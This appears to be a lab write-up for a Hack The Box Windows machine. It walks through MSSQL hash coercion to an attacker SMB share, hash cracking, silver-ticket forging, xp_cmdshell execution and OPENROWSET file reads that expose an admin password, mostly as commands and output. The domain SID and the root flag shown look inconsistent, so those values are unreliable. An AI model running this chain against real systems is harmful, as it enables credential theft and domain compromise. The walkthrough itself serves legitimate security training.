Introduction #
Signed is an assumed breach Windows box with credentials for a local MSSQL account. From this foothold, I leveraged xp_subdirs to coerce authentication from a service account, and subsequently cracked the captured NetNTLMv2 hash. This enabled the forging of a silver ticket, granting sysadmin privileges on the database by targeting the IT group’s RID, ultimately leading to command execution. For root flag I used OPENROWSET BULK impersonation with silver tickets to read files as Domain Admin.
Assumed breach:
As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH
nmap #
nmap finds single open TCP port, MSSQL (1433):
└─$ sudo nmap -sC -sV -v -oA nmap_scan/nmap_results 10.129.34.146
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-10-14T07:37:53
| Not valid after: 2055-10-14T07:37:53
| MD5: 2fef:4fc3:2fb2:3d66:6bef:5af5:e160:d9e4
|_SHA-1: 7f14:286f:aca4:5ba1:f0b3:f15b:9428:954f:615c:3353
|_ssl-date: 2025-10-14T07:47:51+00:00; +4s from scanner time.
| ms-sql-ntlm-info:
| 10.129.34.146:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.129.34.146:1433:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Initial Access #
Using the provided credentials I connected to the MSSQL:
└─$ mssqlclient.py -p 1433 scott@10.129.61.216
There was nothing of note in there, just default databases:
SQL (scott guest@master)> SELECT name FROM sys.databases;
name
------
master
tempdb
model
msdb
Next idea was to enable xp_cmdshell but it was disabled.
MSSQLSVC authentication #
Capture MSSQL Service Hash #
I can steal the MSSQL service account hash using xp_subdirs or xp_dirtree stored procedures, this uses SMB protocol to retrieve a list of child directories from a share I control. This will force MSSQL to authenticate to me and I can capture the NTLMv2 hash .
First, I need to start Responder:
└─$ sudo responder -I tun0
and then execute the SQL query:
SQL (guest@master)> xp_subdirs '\\10.10.110.17\share\'
If the service account has access to my server, I will get its hash.
It worked and I get this:
[SMB] NTLMv2-SSP Client : 10.129.61.216
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:30a7c79ad50b0d4d:CA623A1A606E374CFC89DC9F1F7859FC:0101000000000000006C0F47493EDC012DC6D3951242076D0000000002000800460049005700350001001E00570049004E002D0049004700530035005A0046005600540056003000570004003400570049004E002D0049004700530035005A004600560054005600300057002E0046004900570035002E004C004F00430041004C000300140046004900570035002E004C004F00430041004C000500140046004900570035002E004C004F00430041004C0007000800006C0F47493EDC0106000400020000000800300030000000000000000000000000300000865071E75DB543A83277667C1F0B3DC3B7C927938804B3DDC1C6645C1575A6950A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340031000000000000000000
Crack the hash #
Now I can attempt to crack it:
└─$ hashcat -m 5600 mssqlsvc.hash ~/Tools/rockyou.txt
It run for short while, and finally I got a password: purPLE9795!@, I can use to sign in as mssqlsvc:
└─$ mssqlclient.py -p 1433 'signed.htb/mssqlsvc:purPLE9795!@'@10.129.231.40 -windows-auth
Shell as MSSQLSVC #
After I get in I still see I only have quest access:
SQL (SIGNED\mssqlsvc guest@master)>
Silver Ticket #
TGS as MSSQLSVC #
To create this ticket I need NTLM hash of the password and Domain SID.
First, the hash:
└─$ echo -n 'purPLE9795!@' | iconv -t utf16le | openssl dgst -md4
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc
And Domain SID:
I can grab the user SID and remove the last RID
SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\mssqlsvc');
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'
From this I could calculate the standard format:
01- Revision (1)05- Number of sub-authority values (5)000000000005- Identifier Authority (5 = NT Authority)15000000- First sub-authority (21 in little-endian = SECURITY_NT_NON_UNIQUE)5b7bb0f3- Second sub-authority (domain identifier part 1)98aa2245- Third sub-authority (domain identifier part 2)ad4a1ca4- Fourth sub-authority (domain identifier part 3)4f040000- Fifth sub-authority (RID = 1103) ← Remove this
I was lazy here and asked ChatGPT and it gave me the result:
S-1-5-21-4085379419-1168018072-2762947757
With these ready I could generate ccache file using ticketer:
└─$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 -user-id 1103 mssqlsvc
└─$ export KRB5CCNAME=mssqlsvc.ccache
And log in:
└─$ mssqlclient.py -k -no-pass DC01.signed.htb
Impacket v0.13.0.dev0+20250516.105908.a63c652 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)>
Now I can try the xp_cmdshell again:
└─$ mssqlclient.py -k -no-pass DC01.signed.htb
Impacket v0.13.0.dev0+20250516.105908.a63c652 - Copyright Fortra, LLC and its affiliated companies
<SNIP>
SQL (SIGNED\mssqlsvc dbo@master)> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc dbo@master)> EXEC xp_cmdshell 'whoami';
output
---------------
signed\mssqlsvc
NULL
SQL (SIGNED\mssqlsvc dbo@master)> EXEC xp_cmdshell 'type "C:\Users\mssqlsvc\Desktop\user.txt"'
output
--------------------------------
85b798149a9a5993507ee6c95bdec924
NULL
SQL (SIGNED\mssqlsvc dbo@master)>
It works and I grabbed the user flag!
Root Flag #
I tried to do the same thing for Administrator, but the Administrator user does not have any useful privileges.
TGS with IT #
Looking around I noticed the IT group is sysadmin:
SQL (SIGNED\mssqlsvc guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
--------------------------------- ------------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
##MS_PolicyEventProcessingLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
##MS_PolicyTsqlExecutionLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
SIGNED\IT WINDOWS_GROUP 0 1 0 0 0 0 0 0 0
NT SERVICE\SQLWriter WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\Winmgmt WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\MSSQLSERVER WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT AUTHORITY\SYSTEM WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
NT SERVICE\SQLSERVERAGENT WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\SQLTELEMETRY WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
scott SQL_LOGIN 0 0 0 0 0 0 0 0 0
SIGNED\Domain Users WINDOWS_GROUP 0 0 0 0 0 0 0 0 0
Using nxc and its --rid-brute I grabbed its RID - 1105:
└─$ nxc mssql 10.129.242.173 -u scott -p 'Sm230#C5NatH' --local-auth --rid-brute
MSSQL 10.129.242.173 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.242.173 1433 DC01 [+] DC01\scott:Sm230#C5NatH
MSSQL 10.129.242.173 1433 DC01 498: SIGNED\Enterprise Read-only Domain Controllers
MSSQL 10.129.242.173 1433 DC01 500: SIGNED\Administrator
MSSQL 10.129.242.173 1433 DC01 501: SIGNED\Guest
<SNIP>
MSSQL 10.129.242.173 1433 DC01 1103: SIGNED\mssqlsvc
MSSQL 10.129.242.173 1433 DC01 1104: SIGNED\HR
MSSQL 10.129.242.173 1433 DC01 1105: SIGNED\IT
<SNIP>
And tried the Silver Ticket again, this time with the IT group added:
└─$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -user-id 1103 -groups '512,1105' tester
Impacket v0.13.0.dev0+20250516.105908.a63c652 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/tester
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in tester.ccache
└─$ KRB5CCNAME=tester.ccache mssqlclient.py -no-pass -k DC01.signed.htb
Impacket v0.13.0.dev0+20250516.105908.a63c652 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)>
I successfuly signed in and tried xp_cmdshell to grab root flag, but failed:
SQL (SIGNED\mssqlsvc dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc dbo@master)> xp_cmdshell "type C:\Users\Administrator\Desktop\root.txt"
output
-----------------
Access is denied.
NULL
Looking at my groups, there is no IT:
SQL (SIGNED\mssqlsvc dbo@master)> xp_cmdshell "whoami /groups"
output
--------------------------------------------------------------------------------
NULL
GROUP INFORMATION
-----------------
NULL
Group Name Type SID Attributes
========================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQLSERVER Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
The xp_cmdshell is spawning a cmd.exe and it does not know I am in fact in IT :)
But I can get around that little setback - OPENROWSET with BULK can read files in the groups:
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS Contents;
BulkColumn
---------------------------------------
b'2e43af1fs4d9816ensrf4n8sw9+bd952ds1\r\n'
And that is the root flag!
Be the root #
To go a little bit beyond, there is an admin password in the PowerShell history file:
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt', SINGLE_CLOB) AS Contents;
<SNIP>
Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset
<SNIP>